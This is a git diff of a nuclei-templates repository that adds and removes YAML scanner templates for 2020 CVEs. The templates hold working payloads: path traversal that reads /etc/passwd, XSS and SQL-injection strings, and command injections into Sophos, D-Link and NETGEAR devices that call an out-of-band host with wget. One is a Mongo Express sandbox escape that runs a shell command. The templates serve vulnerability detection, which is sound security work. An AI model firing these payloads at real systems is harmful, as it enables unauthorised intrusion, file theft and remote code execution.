b/nuclei-templates/CVE-2020/cve-2020-17518.yaml deleted file mode 100644 index 8d102b311e..0000000000 --- a/nuclei-templates/CVE-2020/cve-2020-17518.yaml +++ /dev/null @@ -1,39 +0,0 @@ -id: CVE-2020-17518 - -info: - name: Apache Flink Upload Path Traversal - author: pdteam - severity: high - reference: https://github.com/vulhub/vulhub/tree/master/flink/CVE-2020-17518 - description: | - Apache Flink 1.5.1 introduced a REST handler that allows you to write an uploaded file to an arbitrary location on the local file system, - through a maliciously modified HTTP HEADER. - tags: cve,cve2020,apache,lfi,flink,upload - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N - cvss-score: 7.50 - cve-id: CVE-2020-17518 - cwe-id: CWE-22 - -requests: - - raw: - - | - POST /jars/upload HTTP/1.1 - Host: {{Hostname}} - Accept: */* - Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoZ8meKnrrso89R6Y - - ------WebKitFormBoundaryoZ8meKnrrso89R6Y - Content-Disposition: form-data; name="jarfile"; filename="../../../../../../../tmp/poc" - - test-poc - ------WebKitFormBoundaryoZ8meKnrrso89R6Y-- - - - method: GET - path: - - '{{BaseURL}}/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252ftmp%252fpoc' - - matchers: - - type: dsl - dsl: - - 'contains(body, "test-poc") && status_code == 200' # Using CVE-2020-17519 to confirm this. diff --git a/nuclei-templates/CVE-2020/cve-2020-17519.yaml b/nuclei-templates/CVE-2020/cve-2020-17519.yaml new file mode 100644 index 0000000000..5a3a611a2e --- /dev/null +++ b/nuclei-templates/CVE-2020/cve-2020-17519.yaml @@ -0,0 +1,28 @@ +id: CVE-2020-17519 + +info: + name: Apache Flink directory traversal + author: pdteam + severity: high + description: A change introduced in Apache Flink 1.11.0 (and released in 1.11.1 and 1.11.2 as well) allows attackers to read any file on the local filesystem of the JobManager through the REST interface of the JobManager process. + reference: https://github.com/B1anda0/CVE-2020-17519 + tags: cve,cve2020,apache,lfi,flink + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.50 + cve-id: CVE-2020-17519 + cwe-id: CWE-552 + +requests: + - method: GET + path: + - "{{BaseURL}}/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd" + matchers-condition: and + matchers: + - type: status + status: + - 200 + - type: regex + regex: + - "root:.*:0:0:" + part: body diff --git a/nuclei-templates/CVE-2020/CVE-2020-19295.yaml b/nuclei-templates/CVE-2020/cve-2020-19295.yaml similarity index 100% rename from nuclei-templates/CVE-2020/CVE-2020-19295.yaml rename to nuclei-templates/CVE-2020/cve-2020-19295.yaml diff --git a/nuclei-templates/CVE-2020/cve-2020-2096.yaml b/nuclei-templates/CVE-2020/cve-2020-2096.yaml deleted file mode 100644 index 2957a85f94..0000000000 --- a/nuclei-templates/CVE-2020/cve-2020-2096.yaml +++ /dev/null @@ -1,38 +0,0 @@ -id: CVE-2020-2096 - -info: - name: Jenkins Gitlab Hook XSS - author: madrobot - severity: medium - description: Jenkins Gitlab Hook Plugin 1.4.2 and earlier does not escape project names in the build_now endpoint, resulting in a reflected XSS vulnerability. - reference: - - https://jenkins.io/security/advisory/2020-01-15/#SECURITY-1683 - - http://www.openwall.com/lists/oss-security/2020/01/15/1 - - http://packetstormsecurity.com/files/155967/Jenkins-Gitlab-Hook-1.4.2-Cross-Site-Scripting.html - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.10 - cve-id: CVE-2020-2096 - cwe-id: CWE-79 - tags: cve,cve2020,jenkins,xss,gitlab,plugin - -requests: - - method: GET - path: - - "{{BaseURL}}/gitlab/build_now%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E" - - matchers-condition: and - matchers: - - type: status - status: - - 200 - - - type: word - part: body - words: - - "" - - - type: word - part: header - words: - - text/html diff --git a/nuclei-templates/CVE-2020/cve-2020-20988.yaml b/nuclei-templates/CVE-2020/cve-2020-20988.yaml deleted file mode 100644 index 07f450bdb6..0000000000 --- a/nuclei-templates/CVE-2020/cve-2020-20988.yaml +++ /dev/null @@ -1,56 +0,0 @@ -id: CVE-2020-20988 - -info: - name: DomainMOD 4.13.0 - Cross-Site Scripting - author: arafatansari - severity: medium - description: | - DomainMOD 4.13.0 is vulnerable to cross-site scripting via reporting/domains/cost-by-owner.php in the "or Expiring Between" parameter. - impact: | - Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information. - remediation: | - Upgrade to the latest version of DomainMOD or apply the vendor-provided patch to mitigate this vulnerability. - reference: - - https://mycvee.blogspot.com/p/xss2.html - - https://nvd.nist.gov/vuln/detail/CVE-2020-20988 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N - cvss-score: 5.4 - cve-id: CVE-2020-20988 - cwe-id: CWE-79 - epss-score: 0.0009 - epss-percentile: 0.37789 - cpe: cpe:2.3:a:domainmod:domainmod:4.13.0:*:*:*:*:*:*:* - metadata: - verified: true - max-request: 2 - vendor: domainmod - product: domainmod - tags: cve2020,cve,domainmod,xss,authenticated - -http: - - raw: - - | - POST / HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded - - new_username={{username}}&new_password={{password}} - - | - POST /reporting/domains/cost-by-owner.php HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded - - daterange=%22%2F%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E - - host-redirects: true - max-redirects: 2 - matchers: - - type: dsl - dsl: - - 'status_code_2 == 200' - - 'contains(header_2, "text/html")' - - 'contains(body_2, "value=\"\"/>")' - - 'contains(body_2, "DomainMOD")' - condition: and -# digest: 4a0a00473045022100fbb0177d572dab76f291eb8c5192458be9114f6ff475722fe228667a0a17f96602207f0bf6ee4c83004d0e951aaadb9b2b40b09318391f86ca1b5a3629de44e3adfb:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2020/cve-2020-2103.yaml b/nuclei-templates/CVE-2020/cve-2020-2103.yaml deleted file mode 100644 index a8199bbc1a..0000000000 --- a/nuclei-templates/CVE-2020/cve-2020-2103.yaml +++ /dev/null @@ -1,56 +0,0 @@ -id: CVE-2020-2103 - -info: - name: Diagnostic page exposed session cookies - severity: medium - author: c-sh0 - description: Jenkins 2.218 and earlier, LTS 2.204.1 and earlier exposed session identifiers on a users detail object in the whoAmI diagnostic page. - reference: - - https://nvd.nist.gov/vuln/detail/CVE-2020-2103 - - https://www.jenkins.io/security/advisory/2020-01-29/#SECURITY-1695 - metadata: - shodan-query: http.favicon.hash:81586312 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N - cvss-score: 5.40 - cve-id: CVE-2020-2103 - cwe-id: CWE-200 - tags: cve,cve2020,jenkins - -requests: - - raw: - - | - GET {{BaseURL}}/whoAmI/ HTTP/1.1 - Host: {{Hostname}} - - - | - GET {{BaseURL}}/whoAmI/ HTTP/1.1 - Host: {{Hostname}} - - cookie-reuse: true - req-condition: true - matchers-condition: and - matchers: - - type: status - status: - - 200 - - - type: word - part: header - words: - - 'text/html' - - 'x-jenkins' - condition: and - case-insensitive: true - - - type: word - part: body_2 - words: - - 'Cookie' - - 'SessionId: null' - condition: and - - extractors: - - type: kval - kval: - - x_jenkins \ No newline at end of file diff --git a/nuclei-templates/CVE-2020/cve-2020-22208.yaml b/nuclei-templates/CVE-2020/cve-2020-22208.yaml deleted file mode 100644 index ff8cb13e1b..0000000000 --- a/nuclei-templates/CVE-2020/cve-2020-22208.yaml +++ /dev/null @@ -1,44 +0,0 @@ -id: CVE-2020-22208 - -info: - name: 74cms - ajax_street.php 'x' SQL Injection - author: ritikchaddha - severity: critical - description: | - SQL Injection in 74cms 3.2.0 via the x parameter to plus/ajax_street.php. - impact: | - Successful exploitation of this vulnerability could lead to unauthorized access, data leakage, and potential compromise of the underlying database. - remediation: | - Apply the vendor-provided patch or update to the latest version of 74cms to mitigate the SQL Injection vulnerability. - reference: - - https://github.com/blindkey/cve_like/issues/10 - - https://nvd.nist.gov/vuln/detail/CVE-2020-22208 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 - cve-id: CVE-2020-22208 - cwe-id: CWE-89 - epss-score: 0.19578 - epss-percentile: 0.9585 - cpe: cpe:2.3:a:74cms:74cms:3.2.0:*:*:*:*:*:*:* - metadata: - max-request: 1 - vendor: 74cms - product: 74cms - shodan-query: http.html:"74cms" - fofa-query: app="74cms" - tags: cve2020,cve,74cms,sqli -variables: - num: "999999999" - -http: - - method: GET - path: - - '{{BaseURL}}/plus/ajax_street.php?act=alphabet&x=11�%27%20union%20select%201,2,3,concat(0x3C2F613E20),5,6,7,md5({{num}}),9%20from%20qs_admin#' - - matchers: - - type: word - part: body - words: - - '{{md5({{num}})}}' -# digest: 4b0a00483046022100b445b86b8bc851dfc73d48b1385c99d7ad711230fa56e43efd02d7755d29ea84022100bfc90c7ba695df767a9f32c5eb3a29bf895e0af68b1d4c163438eaf8bfc221b3:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2020/cve-2020-22209.yaml b/nuclei-templates/CVE-2020/cve-2020-22209.yaml deleted file mode 100644 index 0b164d90aa..0000000000 --- a/nuclei-templates/CVE-2020/cve-2020-22209.yaml +++ /dev/null @@ -1,47 +0,0 @@ -id: CVE-2020-22209 - -info: - name: 74cms - ajax_common.php SQL Injection - author: ritikchaddha - severity: critical - description: | - SQL Injection in 74cms 3.2.0 via the query parameter to plus/ajax_common.php. - impact: | - Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the underlying database. - remediation: | - Apply the latest patch or update provided by the vendor to fix the SQL Injection vulnerability in the 74cms - ajax_common.php file. - reference: - - https://github.com/blindkey/cve_like/issues/12 - - https://nvd.nist.gov/vuln/detail/CVE-2020-22209 - - https://github.com/20142995/sectool - - https://github.com/ARPSyndicate/cvemon - - https://github.com/ARPSyndicate/kenzer-templates - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 - cve-id: CVE-2020-22209 - cwe-id: CWE-89 - epss-score: 0.15522 - epss-percentile: 0.95775 - cpe: cpe:2.3:a:74cms:74cms:3.2.0:*:*:*:*:*:*:* - metadata: - max-request: 1 - vendor: 74cms - product: 74cms - shodan-query: http.html:"74cms" - fofa-query: app="74cms" - tags: cve,cve2020,74cms,sqli -variables: - num: "999999999" - -http: - - method: GET - path: - - '{{BaseURL}}/plus/ajax_common.php?act=hotword&query=aa%錦%27%20union%20select%201,md5({{num}}),3%23%27' - - matchers: - - type: word - part: body - words: - - '{{md5({{num}})}}' -# digest: 4a0a004730450221009e55b332e27a60cf87cccd81422880062f90e44d254777bb1ec7f9140fa0054502205fddccf82cfe56707866b8766e8b74347aef1bf754927ccb40079bb273c5b359:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2020/cve-2020-22840.yaml b/nuclei-templates/CVE-2020/cve-2020-22840.yaml new file mode 100644 index 0000000000..24f34dd46a --- /dev/null +++ b/nuclei-templates/CVE-2020/cve-2020-22840.yaml @@ -0,0 +1,28 @@ +id: CVE-2020-22840 + +info: + name: b2evolution CMS Open redirect + author: geeknik + severity: medium + description: Open redirect vulnerability in b2evolution CMS version prior to 6.11.6 allows an attacker to perform malicious open redirects to an attacker controlled resource via redirect_to parameter in email_passthrough.php. + tags: cve,cve2020,redirect,b2evolution + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.10 + cve-id: CVE-2020-22840 + cwe-id: CWE-601 + reference: + - https://github.com/b2evolution/b2evolution/issues/102 + - http://packetstormsecurity.com/files/161362/b2evolution-CMS-6.11.6-Open-Redirection.html + - https://www.exploit-db.com/exploits/49554 + +requests: + - method: GET + path: + - "{{BaseURL}}/email_passthrough.php?email_ID=1&type=link&email_key=5QImTaEHxmAzNYyYvENAtYHsFu7fyotR&redirect_to=http%3A%2F%2Fexample.com" + + matchers: + - type: regex + regex: + - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_]*\.)?example\.com(?:\s*?)$' + part: header diff --git a/nuclei-templates/CVE-2020/cve-2020-23517.yaml b/nuclei-templates/CVE-2020/cve-2020-23517.yaml new file mode 100644 index 0000000000..ddd98b74b9 --- /dev/null +++ b/nuclei-templates/CVE-2020/cve-2020-23517.yaml @@ -0,0 +1,29 @@ +id: CVE-2020-23517 + +info: + name: Aryanic HighMail (High CMS) XSS + author: geeknik + severity: medium + description: XSS vulnerability in Aryanic HighMail (High CMS) versions 2020 and before allows remote attackers to inject arbitrary web script or HTML, via 'user' to LoginForm. + reference: https://vulnerabilitypublishing.blogspot.com/2021/03/aryanic-highmail-high-cms-reflected.html + tags: xss,cve,cve2020 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.10 + cve-id: CVE-2020-23517 + cwe-id: CWE-79 + +requests: + - method: GET + path: + - "{{BaseURL}}/login/?uid=\">" + + matchers-condition: and + matchers: + - type: word + words: + - text/html + part: header + - type: word + words: + - "' + part: body + - type: word + words: + - "text/html" + part: header \ No newline at end of file diff --git a/nuclei-templates/CVE-2020/cve-2020-24391.yaml b/nuclei-templates/CVE-2020/cve-2020-24391.yaml new file mode 100644 index 0000000000..5c4c11a19f --- /dev/null +++ b/nuclei-templates/CVE-2020/cve-2020-24391.yaml @@ -0,0 +1,51 @@ +id: CVE-2020-24391 + +info: + name: Mongo Express Remote Code Execution + author: leovalcante + severity: critical + description: Mongo-express uses safer-eval to validate user supplied javascript. Unfortunately safer-eval sandboxing capabilities are easily bypassed leading to RCE in the context of the node server. + reference: + - https://securitylab.github.com/advisories/GHSL-2020-131-mongo-express/ + - https://nvd.nist.gov/vuln/detail/CVE-2020-24391 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2020-24391 + tags: cve,cve2020,mongo,express,rce,intrusive + + +requests: + - raw: + - | + GET / HTTP/1.1 + Host: {{Hostname}} + + - | + POST /checkValid HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + document=++++++++++++%28%28%29+%3D%3E+%7B%0A++++++++const+process+%3D+clearImmediate.constructor%28%22return+process%3B%22%29%28%29%3B%0A++++++++const+result+%3D+process.mainModule.require%28%22child_process%22%29.execSync%28%22id+%3E+build%2Fcss%2F{{randstr}}.css%22%29%3B%0A++++++++console.log%28%22Result%3A+%22+%2B+result%29%3B%0A++++++++return+true%3B%0A++++%7D%29%28%29++++++++ + + - | + GET /public/css/{{randstr}}.css HTTP/1.1 + Host: {{Hostname}} + + req-condition: true + cookie-reuse: true + matchers-condition: and + matchers: + - type: regex + part: body_3 + regex: + - "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)" + + - type: status + status: + - 200 + + extractors: + - type: regex + regex: + - "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)" diff --git a/nuclei-templates/CVE-2020/CVE-2020-24609.yaml b/nuclei-templates/CVE-2020/cve-2020-24609.yaml similarity index 100% rename from nuclei-templates/CVE-2020/CVE-2020-24609.yaml rename to nuclei-templates/CVE-2020/cve-2020-24609.yaml diff --git a/nuclei-templates/CVE-2020/CVE-2020-24765.yaml b/nuclei-templates/CVE-2020/cve-2020-24765.yaml similarity index 100% rename from nuclei-templates/CVE-2020/CVE-2020-24765.yaml rename to nuclei-templates/CVE-2020/cve-2020-24765.yaml diff --git a/nuclei-templates/CVE-2020/cve-2020-24912.yaml b/nuclei-templates/CVE-2020/cve-2020-24912.yaml new file mode 100644 index 0000000000..aacac10ef1 --- /dev/null +++ b/nuclei-templates/CVE-2020/cve-2020-24912.yaml @@ -0,0 +1,40 @@ +id: CVE-2020-24912 + +info: + name: QCube Cross-Site-Scripting + author: pikpikcu + severity: medium + description: A reflected cross-site scripting (XSS) vulnerability in qcubed (all versions including 3.1.1) in profile.php via the stQuery-parameter allows unauthenticated attackers to steal sessions of authenticated users. + reference: + - https://www.ait.ac.at/themen/cyber-security/pentesting/security-advisories/ait-sa-20210215-03 + - https://nvd.nist.gov/vuln/detail/CVE-2020-24912 + - http://seclists.org/fulldisclosure/2021/Mar/30 + tags: cve,cve2020,qcubed,xss + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.10 + cve-id: CVE-2020-24912 + cwe-id: CWE-79 + +requests: + - method: POST + path: + - "{{BaseURL}}/assets/_core/php/profile.php" + - "{{BaseURL}}/assets/php/profile.php" + - "{{BaseURL}}/vendor/qcubed/qcubed/assets/php/profile.php" + headers: + Content-Type: application/x-www-form-urlencoded + body: "intDatabaseIndex=1&StrReferrer=somethinxg&strProfileData=YToxOntpOjA7YTozOntzOjEyOiJvYmpCYWNrdHJhY2UiO2E6MTp7czo0OiJhcmdzIjthOjE6e2k6MDtzOjM6IlBXTiI7fX1zOjg6InN0clF1ZXJ5IjtzOjExMjoic2VsZWN0IHZlcnNpb24oKTsgc2VsZWN0IGNvbnZlcnRfZnJvbShkZWNvZGUoJCRQSE5qY21sd2RENWhiR1Z5ZENnbmVITnpKeWs4TDNOamNtbHdkRDRLJCQsJCRiYXNlNjQkJCksJCR1dGYtOCQkKSI7czoxMToiZGJsVGltZUluZm8iO3M6MToiMSI7fX0K=" + + matchers-condition: and + matchers: + + - type: word + words: + - "" + part: body + + - type: word + words: + - 'Content-Type: text/html' + part: header diff --git a/nuclei-templates/CVE-2020/cve-2020-25078.yaml b/nuclei-templates/CVE-2020/cve-2020-25078.yaml deleted file mode 100644 index 7f8a7cfa59..0000000000 --- a/nuclei-templates/CVE-2020/cve-2020-25078.yaml +++ /dev/null @@ -1,36 +0,0 @@ -id: CVE-2020-25078 - -info: - name: D-Link DCS-2530L Administrator password disclosure - author: pikpikcu - severity: high - description: An issue was discovered on D-Link DCS-2530L before 1.06.01 Hotfix and DCS-2670L through 2.02 devices. The unauthenticated /config/getuser endpoint allows for remote administrator password disclosure. - reference: https://nvd.nist.gov/vuln/detail/CVE-2020-25078 - tags: cve,cve2020,dlink - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.50 - cve-id: CVE-2020-25078 - - -requests: - - method: GET - path: - - "{{BaseURL}}/config/getuser?index=0" - - matchers-condition: and - matchers: - - type: word - words: - - "name=" - - "pass=" - condition: and - - - type: word - words: - - "text/plain" - part: header - - - type: status - status: - - 200 diff --git a/nuclei-templates/CVE-2020/cve-2020-25223.yaml b/nuclei-templates/CVE-2020/cve-2020-25223.yaml deleted file mode 100644 index 3e1e320fe2..0000000000 --- a/nuclei-templates/CVE-2020/cve-2020-25223.yaml +++ /dev/null @@ -1,40 +0,0 @@ -id: CVE-2020-25223 - -info: - name: Sophos UTM - Preauth RCE - author: gy741 - severity: critical - description: A remote code execution vulnerability exists in the WebAdmin of Sophos SG UTM before v9.705 MR5, v9.607 MR7, and v9.511 MR11 - reference: - - https://www.atredis.com/blog/2021/8/18/sophos-utm-cve-2020-25223 - tags: cve,cve2020,sophos,rce,oast - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.80 - cve-id: CVE-2020-25223 - -requests: - - raw: - - | - POST /var HTTP/1.1 - Host: {{Hostname}} - Accept: text/javascript, text/html, application/xml, text/xml, */* - Accept-Language: en-US,en;q=0.5 - Accept-Encoding: gzip, deflate - X-Requested-With: XMLHttpRequest - X-Prototype-Version: 1.5.1.1 - Content-Type: application/json; charset=UTF-8 - Origin: {{BaseURL}} - Connection: close - Referer: {{BaseURL}} - Sec-Fetch-Dest: empty - Sec-Fetch-Mode: cors - Sec-Fetch-Site: same-origin - - {"objs": [{"FID": "init"}], "SID": "|wget http://{{interactsh-url}}|", "browser": "gecko_linux", "backend_version": -1, "loc": "", "_cookie": null, "wdebug": 0, "RID": "1629210675639_0.5000855117488202", "current_uuid": "", "ipv6": true} - - matchers: - - type: word - part: interactsh_protocol # Confirms the HTTP Interaction - words: - - "http" diff --git a/nuclei-templates/CVE-2020/CVE-2020-25495.yaml b/nuclei-templates/CVE-2020/cve-2020-25495.yaml similarity index 100% rename from nuclei-templates/CVE-2020/CVE-2020-25495.yaml rename to nuclei-templates/CVE-2020/cve-2020-25495.yaml diff --git a/nuclei-templates/CVE-2020/cve-2020-25506.yaml b/nuclei-templates/CVE-2020/cve-2020-25506.yaml deleted file mode 100644 index 6ce8094ff6..0000000000 --- a/nuclei-templates/CVE-2020/cve-2020-25506.yaml +++ /dev/null @@ -1,36 +0,0 @@ -id: CVE-2020-25506 - -info: - name: D-Link DNS-320 - Unauthenticated Remote Code Execution - author: gy741 - severity: critical - description: The exploit targets a command injection vulnerability in a system_mgr.cgi component. The component does not successfully sanitize the value of the HTTP parameters f_ntp_server, which in turn leads to arbitrary command execution. - reference: - - https://gist.github.com/WinMin/6f63fd1ae95977e0e2d49bd4b5f00675 - - https://unit42.paloaltonetworks.com/mirai-variant-iot-vulnerabilities/ - tags: cve,cve2020,dlink,rce,oast,mirai - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.80 - cve-id: CVE-2020-25506 - cwe-id: CWE-78 - -requests: - - raw: - - | - POST /cgi-bin/system_mgr.cgi? HTTP/1.1 - Host: {{Hostname}} - Accept: */* - - C1=ON&cmd=cgi_ntp_time&f_ntp_server=`wget http://{{interactsh-url}}` - - - | - POST /cgi-bin/system_mgr.cgi?C1=ON&cmd=cgi_ntp_time&f_ntp_server=`wget http://{{interactsh-url}}` HTTP/1.1 - Host: {{Hostname}} - Accept: */* - - matchers: - - type: word - part: interactsh_protocol # Confirms the HTTP Interaction - words: - - "http" diff --git a/nuclei-templates/CVE-2020/cve-2020-25540.yaml b/nuclei-templates/CVE-2020/cve-2020-25540.yaml new file mode 100644 index 0000000000..2ff12bd0ef --- /dev/null +++ b/nuclei-templates/CVE-2020/cve-2020-25540.yaml @@ -0,0 +1,28 @@ +id: CVE-2020-25540 +info: + + name: ThinkAdmin 6 - Arbitrarily File Read (CVE-2020-25540) + author: geeknik + severity: high + description: ThinkAdmin v6 is affected by a directory traversal vulnerability. An unauthorized attacker can read arbitrary files on a remote server via GET request encode parameter. + reference: https://www.exploit-db.com/exploits/48812 + tags: cve,cve2020,thinkadmin,lfi + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.50 + cve-id: CVE-2020-25540 + cwe-id: CWE-22 + +requests: + - method: GET + path: + - '{{BaseURL}}/admin.html?s=admin/api.Update/get/encode/34392q302x2r1b37382p382x2r1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b2t382r1b342p37373b2s' + + matchers-condition: and + matchers: + - type: status + status: + - 200 + - type: regex + regex: + - "root:.*:0:0:" diff --git a/nuclei-templates/CVE-2020/CVE-2020-26153.yaml b/nuclei-templates/CVE-2020/cve-2020-26153.yaml similarity index 100% rename from nuclei-templates/CVE-2020/CVE-2020-26153.yaml rename to nuclei-templates/CVE-2020/cve-2020-26153.yaml diff --git a/nuclei-templates/CVE-2020/cve-2020-26876.yaml b/nuclei-templates/CVE-2020/cve-2020-26876.yaml new file mode 100644 index 0000000000..6559ee1788 --- /dev/null +++ b/nuclei-templates/CVE-2020/cve-2020-26876.yaml @@ -0,0 +1,36 @@ +id: CVE-2020-26876 +info: + name: WordPress WP Courses Plugin Information Disclosure + author: dwisiswant0 + severity: high + description: WordPress WP Courses Plugin < 2.0.29 contains a critical information disclosure which exposes private course videos and materials. + tags: wordpress,plugin + reference: + - https://nvd.nist.gov/vuln/detail/CVE-2020-26876 + - https://www.exploit-db.com/exploits/48910 + - https://www.redtimmy.com/critical-information-disclosure-on-wp-courses-plugin-exposes-private-course-videos-and-materials/ + classification: + cve-id: CVE-2020-26876 +requests: + - method: GET + path: + - "{{BaseURL}}/wp-json/wp/v2/lesson/1" + matchers-condition: and + matchers: + - type: regex + regex: + - "rest_post_invalid_id" + - "\"(guid|title|content|excerpt)\":{\"rendered\":" + condition: or + part: body + - type: word + words: + - "application/json" + part: header + - type: status + status: + - 200 + - 404 + condition: or + +# Enhanced by mp on 2022/03/21 diff --git a/nuclei-templates/CVE-2020/cve-2020-26919.yaml b/nuclei-templates/CVE-2020/cve-2020-26919.yaml new file mode 100644 index 0000000000..a57eaa9237 --- /dev/null +++ b/nuclei-templates/CVE-2020/cve-2020-26919.yaml @@ -0,0 +1,30 @@ +id: CVE-2020-26919 + +info: + name: NETGEAR ProSAFE Plus - Unauthenticated Remote Code Execution + author: gy741 + severity: critical + description: NETGEAR ProSAFE Plus was found to allow any HTML page as a valid endpoint to submit POST requests, allowing debug action via the submitId and debugCmd parameters. The problem is publicly exposed in the login.html webpage, which has to be publicly available to perform login requests but does not implement any restriction for executing debug actions. This will allow attackers to execute system commands. + reference: + - https://research.nccgroup.com/2021/03/08/technical-advisory-multiple-vulnerabilities-in-netgear-prosafe-plus-jgs516pe-gs116ev2-switches/ + - https://unit42.paloaltonetworks.com/mirai-variant-iot-vulnerabilities/ + tags: cve,cve2020,netgear,rce,oast + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.80 + cve-id: CVE-2020-26919 + +requests: + - raw: + - | + POST /login.htm HTTP/1.1 + Host: {{Hostname}} + Accept: */* + + submitId=debug&debugCmd=wget+http://{{interactsh-url}}&submitEnd= + + matchers: + - type: word + part: interactsh_protocol # Confirms the HTTP Interaction + words: + - "http" diff --git a/nuclei-templates/CVE-2020/cve-2020-26948.yaml b/nuclei-templates/CVE-2020/cve-2020-26948.yaml deleted file mode 100644 index 6367027877..0000000000 --- a/nuclei-templates/CVE-2020/cve-2020-26948.yaml +++ /dev/null @@ -1,32 +0,0 @@ -id: CVE-2020-26948 - -info: - name: Emby Server SSRF - author: dwisiswant0 - severity: critical - reference: https://github.com/btnz-k/emby_ssrf - description: Emby Server before 4.5.0 allows SSRF via the Items/RemoteSearch/Image ImageURL parameter. - tags: cve,cve2020,emby,jellyfin,ssrf - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.80 - cve-id: CVE-2020-26948 - cwe-id: CWE-918 - -requests: - - method: GET - path: - - "{{BaseURL}}/Items/RemoteSearch/Image?ProviderName=TheMovieDB&ImageURL=http://notburpcollaborator.net" - matchers-condition: and - matchers: - - type: status - status: - - 500 - - type: word - words: - - "Name or service not known" - part: body - - type: word - words: - - "text/plain" - part: header diff --git a/nuclei-templates/CVE-2020/cve-2020-27191.yaml b/nuclei-templates/CVE-2020/cve-2020-27191.yaml new file mode 100644 index 0000000000..82266438a6 --- /dev/null +++ b/nuclei-templates/CVE-2020/cve-2020-27191.yaml @@ -0,0 +1,31 @@ +id: CVE-2020-27191 +info: + name: LionWiki 3.2.11 - LFI + author: 0x_Akoko + severity: high + description: LionWiki before 3.2.12 allows an unauthenticated user to read files as the web server user via crafted string in the index.php f1 variable, aka Local File Inclusion. + reference: + - https://www.junebug.site/blog/cve-2020-27191-lionwiki-3-2-11-lfi + - http://lionwiki.0o.cz/index.php?page=Main+page + - https://www.cvedetails.com/cve/CVE-2020-27191 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2020-27191 + cwe-id: CWE-22 + tags: cve,cve2020,lionwiki,lfi,oss + +requests: + - method: GET + path: + - "{{BaseURL}}/index.php?page=&action=edit&f1=.//./\\.//./\\.//./\\.//./\\.//./\\.//./etc/passwd&restore=1" + + matchers-condition: and + matchers: + - type: regex + regex: + - "root:[x*]:0:0:" + + - type: status + status: + - 200 diff --git a/nuclei-templates/CVE-2020/cve-2020-27467.yaml b/nuclei-templates/CVE-2020/cve-2020-27467.yaml new file mode 100644 index 0000000000..efea3a97df --- /dev/null +++ b/nuclei-templates/CVE-2020/cve-2020-27467.yaml @@ -0,0 +1,31 @@ +id: CVE-2020-27467 +info: + name: Processwire CMS < 2.7.1 - Directory Traversal + author: 0x_Akoko + severity: high + description: Local File Inclusion in Processwire CMS < 2.7.1 allows to retrieve arbitrary files via the download parameter to index.php By providing a specially crafted path to the vulnerable parameter, a remote attacker can retrieve the contents of sensitive files on the local system. + reference: + - https://github.com/Y1LD1R1M-1337/LFI-ProcessWire + - https://processwire.com/ + - https://www.cvedetails.com/cve/CVE-2020-27467 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2020-27467 + cwe-id: CWE-22 + tags: cve,cve2020,processwire,lfi,cms,oss + +requests: + - method: GET + path: + - 